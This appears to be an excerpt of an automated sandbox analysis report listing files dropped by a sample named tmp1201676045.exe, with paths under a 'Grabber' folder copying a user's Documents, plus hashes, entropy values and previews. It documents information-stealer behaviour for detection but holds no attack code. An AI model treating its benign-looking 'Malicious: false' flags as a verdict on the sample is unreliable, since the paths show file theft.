SHA-256:	19AC62FD471E562088365029F7B0672623511CF3E58F2EF6DE1A15C14A2E94E7
SHA-512:	86EA2B42FEB542977FCF534B4708F7A07E09F4ACC413307E660B905408BC4AA9E26C50E907FA02379EA3EBFD18C532CC9DC269B6EA5994E3290082E429CAAE03
Malicious:	false
Preview:	EOWRVPQCCSGUYRPSSKREBPXVQXUWKHGDIJHLBLYMXTIUESLNTSFMRJGDSQHOWECQAJMENKQNNWPVETUPWMXJTCUIAKPCZEENXVLTKYPKROZPDEBFNAJOVCNEXQJFUHQCMLNHGMRJJIPLOMWFWJKKXSTRHWFVLVQPEMFBLDTSCCSXADJIIDQIYCEGSDEDZDWUEJLTYJHMYEHHMBFZCRDHXZVPESWNDGUEFQZTJFSJVKZMWREMIZGAIZANQJKWWXITTXHDQDZOEOGKCEMDUUBDTMNWBRSOWEKQXQDCYJXERQRAMVQCWCTYJPEAJUAWNBRQWGFJAHXJJFRYTZMSGCREPRECKHXXMJGSQEKUCUNCWUAAPBWQVSMWCJGYSLPHJJHJGXSMNLNICJMSGSWRKARHMQXLYSAOPDAPXSMORZLUWYOQTJQNKSCAJWRUEYRFPNOVSMNYRKMTSGRIFLOAJUGJYDTLINOTCEADKRENVYNODFSIJGSDCICIDXZTLLSKKJQSOHYTZRBSHPHXWZOOSKQIRSGPTAOQPBVJAMXOGPYNJMJXAKCTMRRTFCBPOAMNJORWRNZOGZMNBVCCZYQPOQOUXBGKNLFSQWAWEREFQBRDLTVHEFNRUSOARHJPRECDRMPANZRBGCANIUWEBUDVWLYHFTPGBHSZBZBEFUWFHUZPJOVMHGSINZWDUKWPGMGSNSSJNOMETOCJILXRQRGZQFAJCWYQEENIZIMHRBTZUYEOKCQXYLWCKFHOHCOVRVPNTEUARVJEFALBUVYXIYZRMGJWZNYNLPYHZSSCODVXZBIWXIOAVMGMPKCPYIFZIKWRIHNIYASXZLMOLNZOMMYUSCRZBCXRANWWODLPHCXXDPLNYLMHYIUYZJWQLECFNXQEERYDVDBPXOLGZLZQCVYUYKFZGKXWVDQANPXQYAATYFJALGENVLDMHDASWKNNXODUHLXYGCBUKEFWISCCUWXNUNETWMTQHQDJMAXNPFPLMPQO

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\GRXZDKKVDB.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.697358951122591
Encrypted:	false
SSDEEP:	24:GllFjmGrUw8wsY1UbsUhBRShwdYjDuvHNeGXNei:WFewtsZZp8DkHzNL
MD5:	244A1B624BD2C9C3A0D660425CB1F3C6
SHA1:	FB6C19991CC49A27F0277F54D88B4522F479BE5F
SHA-256:	E8C5EAACF4D2C4A65761719C311785A7873F0B25D849418ED86BBFE9D7F55C96
SHA-512:	9875E6DE2ACC859CACC2873F537DDE6ED4EC8CA00CBA3D28535E0440D76FFD475B66C52B6217D311D301C4B9A097619CF29A26B2FD54D03CD27A20A17EC9CA31
Malicious:	false
Preview:	GRXZDKKVDBUGJWVAVQNLKHTVWJFMWUAIFGXJYDZTDDYOZYAHDDDHNXHNVSFVZJEMKSJXGDABHWXKQZCQXBMLFZCFZRGZPZWYYNETLMDWOLDLPIFOVKRDMQEWUEHKITHNGNRTRZWQHFMBDECTTQKFDEVNVHBAPCNMCJNWWITPVACWBIUNPCYFZKGJXCMBWDNHDCVDCGEKHYPPPEGKPCPMYZEKRCOGRHDFANVZFDZEKZWOKLRIOUPCTJCKQPECVEEGNTLJWZOKHSKZRNLJEDQLEQNRWIYLSXHSNVGFTCDJOFJSSGANZFCFSTDUPYBCCAPQWVVVHWQMAMBVDQNABQSQOSDYDMOVPXENCAXSTPDCENIQOWPCOQHPSISEOWFKMBLGAZRALPTAYHDZLKJTCHXGTPXNIVUMCOJRZXPUVUFPCWEAEZMMLATLTGHPJIMHWFBUWIATNBBPFGVFXNULJLRYLAGRNCKVAJADSLQGVLGIYOHDIWUERAQSCTFBMXCMLCXSHZGTWPBCVHUYPVAFSBZNBGAGMHGULJYULEEHPGNBGEQRAOPBXXMZIUIPJMFAOVNMZZTOZGOZOJPKWCEFTTAVUBAADATZYJDWSZEZPLDTGYCYWTSDQTIMZHCKMQLZFEYSYUUWFJSYEFNDDKQMZVTBOZLQBDKFHMMKIYQPFKZLTSHIJVNPHPCTWBWPTTKDHDZEMDVWXXBLPWLCSSBMTLIVOVYOKQCJKTYJWGJUBQUGQVBYJQQLLGTHWSPFLDMDWBTOQUISHXBCHIJKAJFIPBNKMWVQGUSJVNKXAXFDNOBYJXMWRDAZWUJSRMMFQXDPYYKOFBEROBQMDZHDZZHOEIOKDOCHQQDQQRHOROOIFAGQEJZJFZIGPJIRWVNQYZAJAHAWIEFFNXLXQWIUWYSGZDFYPCCGWYBBFQQMSMJBRIUPFBWIHWJWVCYOBNNXKIIWTIXOWRVLFBGPGWFQTGPUNWKWUUMQXIKNCLTTGYHBMKXJ

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\PALRGUCVEH.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
Preview:	PALRGUCVEHIRKBYGKJJWKNMNYKFUTLHCEDOTKTWJCZHNZMOUNMNREQTGFDNZTATQQPDFONRIRAZYJEPXQVIVWNBDQIMKULZMUINYTVUPNMQBQQYLGCAJYFEIWZTWGYTHEJPFBRNGCTANCYOISUQMRINVDUEIROITGPJZCCOVCZIZBHLYBDARSNRLEOQQDWOSMHXNRNBXNWMRVAQZUASARYHEITVTVSLHRGBYURPTEUNAUCYMZTXOZXKDXUEUUVTNGWGSBRAWIJZDVZDLMZBKEVESROLUEDPITQGUXFSRFAVNSESAFZLNXMXUYRFUEUKCMNFITMUQEWTCKEGDPOXHJSXBDLFIOLLHDYIVOQVEYJEZMDIOFXZFCPXJEQLPCSHKUGRQKXAUMKTHUMHWFQZRGBRZHGHYRXRODJXEBANQHOOVFBZXKJHDCAAKHZGSWGKGEDWOOCFCEYHPAQBYBKRXOTJWSCPMRDXNRYAQFQHSHOFCHWJDKTFHACROGLPZFWDCIBJSUTMTRHJKEGAHSBAQLDTWPTXBLVYYBNJBKDUNGOUDVWZOBKOJKSMZERYOYBNMDSYUPHFDPUXOMKCYNSEBJHJVXSWTIMBDLPWYMYMQKYICPQEWMYDUMYJRSVQHDEELUFOEQYUIZBTNUNJNZQTDTIJKNOJNFJDDGEYVGDXTQINCQDGJRRPOBRUHQLMKFJSSNNCQMDHWQYMHWIBVNPHRQCBTMYBSOJYXCUAYTWUDETCJTTEQSPXKTRSQBDJYENXLXJTQIYOZHEFAQOFBXKATTASAWEYGDPTTLZDAFVKRYLRNFSWZYBGUMRHHMNPVCVECBEVWEXNMSCXSGJRAQKAYEIULWHXXFKTJWPDMYUAOSFBKCTNCTQQXTLXIIJKYOPYBMSFGYLZDGOXTVIHYLUMJCRDRQXFLBDAUXBTNAPMACHVQILKZSQLNPPJVGXAXUMTOUMJJJYJSPJALITYYHOOMVVOQNOSSPBLMRBWWPYXB

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\GRXZDKKVDB\ZGGKNSUKOP.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\JDDHMPCDUJ.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\JDDHMPCDUJ.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\KLIZUSIQEN.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696703751818505
Encrypted:	false
SSDEEP:	24:b16WkAmEUwq/rBFGdG3NQGsu7DYh3NTgfAtxoLxLP/VEmcM:hkAYzzbG4NPsuYh3N0fAjaxLnl
MD5:	19255ED5D4F37A096C105CEF82D0F5C0
SHA1:	96C5E995A91C8BC479E1C2ADB32C7E022EB8FAC7
SHA-256:	A0E9C6A5B14DB7AB22994C5017930720299F4492CE99D95A07BEB46BF2BAE7E8
SHA-512:	CDCD7E54677DE3BCE65BD80C855DE9684517F931ECA4D17E984C1D02E5E5CE9B50582ECCFA43F71A4F0A4E1743D74FCF3D588424AF519BFAE628EA49082C6E68
Malicious:	false
Preview:	KLIZUSIQENZWQAFPHPIZMRSSYSYIINGOAPFQHPCFTPTNYLSNMTRTDZSWEBKDRHIUFOFGWKTHENHAQWTYTMOJNOWPWJAPIZKOPDMUAKVTHXYWDBHBVWDTBCFVXJHDCUGTPASHSDSKUVYPRPPUXKURDNZYJENQKRHCARIUAOIAFRFWGQDXOAPXUJAUWRVEASXCVARWJMIPINSQDPGOWLRMNRCAEZGZIYDWBEWCOJWHLMOUROGZKCFGXDKPHAJADQCYUZYSYXQOIEGZIJWZLUJEKZUASKHQOGVFGVEXIQTENJDEKERNBPZGKNXWYZVXDDAYNSFBZAKWCEEYDSJONDKOYOBSAVICMHPZZRHRLNYDOIDQNYLXFDCCUOIJANPQCOIJDXFLDMIBVHBYSNYGAVWTHYCIPBRPTWSQXWXZZJBFNAUOMALKDRYIMJCRJXXQXCEREPQGNQHHOFEMEOXMSZEWOLTOLCOUCQNPRIPXUSVZNATFZKIJQZKGKTCYOMBXFTSXBXYIHMOONWWGRKPSNEMONASEFSVWNWIBXDSMEKQJIDCFPVMGAAUPBVOYAIKYQEFVSXOFTEMHNXVNMMENORLDYPZUSILNZRPHITCWDQMLEFZOEGPJDXQLBSIYRONLBYOSJVTEMBHNVXCMMRDVOAYSMNNRKRLBSQBIWIWHYUMBKTIYQTROZKTGZZMEFWINSQAXMWWLRRSPXAQZURXOTMUHPNLOUWMXRQSGXIAQILQCZUUTRJZVRNLBSHADNHZSDOQIYIZCEZHFRITTHSZOSBZGNCQVHXSFZJCEVSJCZZYTCFXLNBKMTPXYHPDXMMMXHUAAQWYYFHMKXWZBXZBWKFQHLPMVMGYFZBMVSYGKGTOLLJCBFKHHWFIVPPXPTVEJEBZBXHKNYKDYLIAKLLPJZFPVJAROJUOZZUWNZRRDZNYLGBHMNWUKJLSAXBUBWJZYCMVLYBCQJLBOROBDSZGHMCIASVUCVNDTGDALKYLTOMJK

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Music\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5258560106596737
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qml3lDmo0qmZclLwr2FlDmo0IWUol94klrgl2FlDmo0qjKAZY:QCGwv4o0x34o02lLwiF4o0ZvbUsF4o0Z
MD5:	06E8F7E6DDD666DBD323F7D9210F91AE
SHA1:	883AE527EE83ED9346CD82C33DFC0EB97298DC14
SHA-256:	8301E344371B0753D547B429C5FE513908B1C9813144F08549563AC7F4D7DA68
SHA-512:	F7646F8DCD37019623D5540AD8E41CB285BCC04666391258DBF4C42873C4DE46977A4939B091404D8D86F367CC31E36338757A776A632C7B5BF1C6F28E59AD98
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.0.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.9.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.0.8.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.7.....

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Camera Roll\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl6nM:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOy
MD5:	D48FCE44E0F298E5DB52FD5894502727
SHA1:	FCE1E65756138A3CA4EAAF8F7642867205B44897
SHA-256:	231A08CABA1F9BA9F14BD3E46834288F3C351079FCEDDA15E391B724AC0C7EA8
SHA-512:	A1C0378DB4E6DAC9A8638586F6797BAD877769D76334B976779CD90324029D755FB466260EF27BD1E7F9FDF97696CD8CD1318377970A1B5BF340EFB12A4FEB4A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.2.1.8.2.4.....

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\Saved Pictures\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	190
Entropy (8bit):	3.5497401529130053
Encrypted:	false
SSDEEP:	3:QJ8ql62fEilSl7lA5wXdUSlAOlRXKQlcl5lWGlyHk15ltB+SliLlyQOnJpJSl3sY:QyqRsioTA5wmHOlRaQmZWGokJD+SkLOO
MD5:	87A524A2F34307C674DBA10708585A5E
SHA1:	E0508C3F1496073B9F6F9ECB2FB01CB91F9E8201
SHA-256:	D01A7EF6233EF4AB3EA7210C0F2837931D334A20AE4D2A05ED03291E59E576C9
SHA-512:	7CFA6D47190075E1209FB081E36ED7E50E735C9682BFB482DBF5A36746ABDAD0DCCFDB8803EF5042E155E8C1F326770F3C8F7AA32CE66CF3B47CD13781884C38
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.w.i.n.d.o.w.s...s.t.o.r.a.g.e...d.l.l.,.-.3.4.5.8.3.....

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Pictures\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.514398793376306
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmalDmo0qmN4clLwr2FlDmo0IWFSklrgl2FlDmo0qjKA1:QCGwv4o0u4o0RhlLwiF4o0HUsF4o01A1
MD5:	29EAE335B77F438E05594D86A6CA22FF
SHA1:	D62CCC830C249DE6B6532381B4C16A5F17F95D89
SHA-256:	88856962CEF670C087EDA4E07D8F78465BEEABB6143B96BD90F884A80AF925B4
SHA-512:	5D2D05403B39675B9A751C8EED4F86BE58CB12431AFEC56946581CB116B9AE1014AB9334082740BE5B4DE4A25E190FE76DE071EF1B9074186781477919EB3C17
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.7.9.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.8.8.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.1.3.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.6.....

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\My Videos\desktop.ini

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	504
Entropy (8bit):	3.5218877566914193
Encrypted:	false
SSDEEP:	12:QZsiL5wmHOlDmo0qmclDmo0qmJclLwr2FlDmo0IWVvklrgl2FlDmo0qjKArn:QCGwv4o0o4o0mlLwiF4o090UsF4o01Ar
MD5:	50A956778107A4272AAE83C86ECE77CB
SHA1:	10BCE7EA45077C0BAAB055E0602EEF787DBA735E
SHA-256:	B287B639F6EDD612F414CAF000C12BA0555ADB3A2643230CBDD5AF4053284978
SHA-512:	D1DF6BDC871CACBC776AC8152A76E331D2F1D905A50D9D358C7BF9ED7C5CBB510C9D52D6958B071E5BCBA7C5117FC8F9729FE51724E82CC45F6B7B5AFE5ED51A
Malicious:	false
Preview:	......[...S.h.e.l.l.C.l.a.s.s.I.n.f.o.].....L.o.c.a.l.i.z.e.d.R.e.s.o.u.r.c.e.N.a.m.e.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.9.1.....I.n.f.o.T.i.p.=.@.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.,.-.1.2.6.9.0.....I.c.o.n.R.e.s.o.u.r.c.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.i.m.a.g.e.r.e.s...d.l.l.,.-.1.8.9.....I.c.o.n.F.i.l.e.=.%.S.y.s.t.e.m.R.o.o.t.%.\.s.y.s.t.e.m.3.2.\.s.h.e.l.l.3.2...d.l.l.....I.c.o.n.I.n.d.e.x.=.-.2.3.8.....

C:\Users\user\AppData\Local\ca9bc2baaa03d01d04aade104cc0db69\user@124406_en-CH\Grabber\DRIVE-C\Users\user\Documents\PALRGUCVEH.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\tmp1201676045.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.696508269038202
Encrypted:	false
SSDEEP:	24:RSjVGe9uHEleifrd16Wa05tSl2jFQzpqPMXexMApqIjsp:2Ge9MQ/d16Wjtc2j64Phxjpq82
MD5:	0E9E92228B27AD7E7B4449467A529B0C
SHA1:	209F92CDFC879EE2B98DEF315CCE166AFEC00331
SHA-256:	284937D0EBFEDD95B2347297D957320D8D5CA5FC48218296767069CABA6B14A6
SHA-512:	CECA5F634268817B4A076414FFAB7D81F93EEC7E7D08B8691CCE0B2BCAF8FC694365455886E36983B4D8D758BC65BC1868BE8DB51AD41E082473726BB1FFD7B8
Malicious:	false
